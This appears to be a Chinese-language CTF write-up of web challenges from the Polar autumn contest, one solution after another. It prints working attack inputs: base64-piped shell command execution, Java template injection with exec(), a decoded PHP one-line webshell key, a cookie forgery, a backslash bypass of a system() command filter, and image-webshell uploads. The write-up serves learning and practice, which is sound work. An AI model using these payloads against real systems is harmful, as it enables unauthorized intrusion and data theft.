Polar秋季赛-web
white-简
考点:
rceBase编码绕过倒是正常
关键认识到一个新的读文件的函数
rev
,逆向输出文件内容
给出一个终端进行命令执行
一些字符,关键字被过滤
右侧白名单中存在echo,base,sh等命令
尝试拼接绕过
echo "bHMK" | base64 -d | sh
去掉引号能够执行成功
读取根目录文件即可
echo Y2F0IC9mbGFnLnBocAo= | base64 -d | sh
duan@F0T0ne:~$ rev /flag
}galf_si_siht{galf
polar快递-中
考点:
垂直越权
初始页面是一个登录框,右上角有一个备忘录
看到敏感部分,权限说明
里边甚至有api接口说明
底部找到默认账密
登录普通用户,发现当前路由为polaruser,改为admin或许能够越权
而且请求id为user,这里一定可以修改
改为admin不行,根据权限说明,改为root成功
直接将id改为root也能请求成功
狗黑子的舔狗日记-中
考点:
常规渗透,但是环境搭建的很有趣。特别是最后问名字时
真实场景还原,发现存在读取文件的参数
尝试进行伪协议读取,读取index.php
发现三个页面文件
define('PAGE_WECHAT', 'xiaoxi.php');
define('PAGE_MOMENTS', 'pengyouquan.php');
define('PAGE_PROFILE', 'wode.php');
找到flag字段
解码结果如下:
flag{女神的名字md5加密}
tips 女神微信号:nvshen
在个人主页存在退出功能,可以登录flag给的账号
扫描目录发现信息,flag.php没用,www下来一个字典,应该是用来爆破密码的
筛选http头相似度中找到异常响应,nvshen.php
在src后改为nvshen.php,或者使用nvshen345密码登录进去
真抽象,进去了,问问舔狗
flag{女神的名字md5加密}
tips 女神微信号:nvshen
把柳茹烟md5后交上去对了
aa1e3ea993e122de5de6e387db6c8609
不得不说这题出题人真是有心了
Squirtle的论坛-中
初始页面给的信息刚开始没看懂
直接扫目录
upload,src和admin
只有admin有回显,提示权限不够,似乎存在权限校验
欢迎大家,这里的user可以是任何人,但master只能是Squirtle!!!
尝试伪造Cookie登录
master=Squirtle
成功登录,尝试文件上传
点击文件直接跳转,rce即可
PolarCMS-中
初始页面是一个登录框
密码处有提示
输入admin密码<直接就进去了
尝试进行文件上传,但文件都被当做文本文件
tip:试试java文本框
java搭建的,纯java构建,能够创建新的页面
在模版页面尝试进行java的模版注入${exec("ls")}成功执行
${exec("ls")}
Dockerfile
com
data
pages
polar-cms.tar
src
static
${exec("cat Dockerfile")}
dockerfile
# 使用单一阶段构建,减少复杂度
FROM openjdk:17-slimWORKDIR /app# 复制所有文件
COPY . .# 创建必要的目录
RUN mkdir -p data static/uploads# 编译 Java 代码
RUN javac -d . src/com/polar/cms/*.java# 设置权限
RUN chmod 777 static/uploads# 在根目录创建 flag 文件
RUN echo "flag{2c97920bc4798a23da9ae504f2e05f3b}" > /flag && \chmod 644 /flag# 暴露端口
EXPOSE 8080# 运行应用
CMD ["java", "com.polar.cms.PolarCmsServer"]
狗黑子的eval-困
初始页面没有信息
扫目录找到flag.php和shell.php
这样的话,flag.php给的应该是提示我们获取已经写好的木马文件的key,进而去连接shell.php就行
<body>
<!--payload.php 狗黑子数数喜欢从1开始,不喜欢0 -->tips:gouheizigouheizi=2gouheizi</body>
</html>
给了三个提示,先访问payload.php
<?php
highlight_file(__FILE__);
//gou=a,gougou=b;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
$gou7="c3Rnbw==";
$gou8='5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
$gou13=$gou8{34};$gou17=$gou8{10};$gou12=$gou8{15};$gou10=$gou8{105};$gou14=$gou12;$gou11=$gou8{51};$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
?>
利用其他两个提示将$gou变量进行拆分解密
<?php
highlight_file(__FILE__);
//gou=a,gougou=b;
// 1gou=a.2gou=b.3gou=c.4gou=d.5gou=e.6gou=f;
$gou1="12gou";$gou5="16gou";$gou4="5gou";$gou6="gou";
$gou2="22gou";$gou3="15gou";
// 12gou=l,16gou=p,5gou=e,15gou=o,22gou=v,15gou=o
// gou1=l,gou5=p,gou4=e,gou3=o,gou2=v,gou6=a
$gou7="c3Rnbw==";
// 解码为stgo
// 提示不是从零开始的,前边加一个字符
$gou8='a5pys572R6aG15piv5LiA5Liq5Zyo57q/5bel5YW377yM5Y+v5Lul5oqK5a2X56ym5Liy6L2s5oiQIEJhc2U2NCDmiJbogIXku44gQmFzZTY0IOi9rOaIkOaIkOWtl+espuS4s';
// 将所有{}改为[]以适应PHP 7.4+版本
$gou13=$gou8[34];$gou17=$gou8[10];$gou12=$gou8[15];$gou10=$gou8[105];$gou14=$gou12;$gou11=$gou8[51];
// gou13=5,gou17=7,gou12=8,gou10=0,gou14=8,gou11=3
$gou=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3.$gou7.$gou8.$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
// $a=$gou4.$gou2.$gou6.$gou1.$gou5.$hou3;
// $a=evalpo
$b=$gou11.$gou13.$gou17.$gou12.$gou10.$gou14;
echo "evalpostgo".$b;
?>
evalpostgoubaizieval post goubaizi
我的结果中是大写的Z
不知道为什么
显然就是一句话木马的内容
我的蚁剑连不上,直接RCE
无回显,重定向输出
但是常见位置没有找到flag
使用我先前习惯的find查找没有成功
由于当前目录匹配成功所以就没有查找其他目录,导致结果很少,没有得到预想的结果
find / -name "*flag*" 2>/dev/null
清晰全面
老刘的小店-困
登录进去后东西都买不起,看到转账功能
查看源码,特地提醒是在前端做了校验,抓包即可绕过
新建账号,进行转账,抓包修改
另一个账号已经收到
前端获取信息
<!-- if (isset($_GET['id'])) {
$id=$_GET['id'];if(preg_match("/ls|dir|flag|type|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i",$id)) {$output = '你想干什么?';}else{system($id);}
} -->
使用转义字符绕过
看似过滤了转义符,但直接l\s可以使用
详情可查看下边师傅博客
关于转义符 \ 在php正则中的匹配问题
狗黑子的登录-困
初始登录框,正常扫目录
git泄露,dumpall获取两个php
index.php中存在注册功能
账密相同,注册成功
初始页面同样没有内容
seclients_can_upload=1
出现上传页面,抓包,制作一个大于200kb的图片马上传即可
ZGZH-困
初始化界面要求提交序列化的user数据
序列化后提交
修改文件名
修改为flag.php,在线有点问题手动改一下
去pass.php文件查看
要求还是比较复杂的
根据提示是对857进行一个弱比较
弱比较后还是857
要有大小写和标点
科学计数法中有符合条件的
857.0E+00000000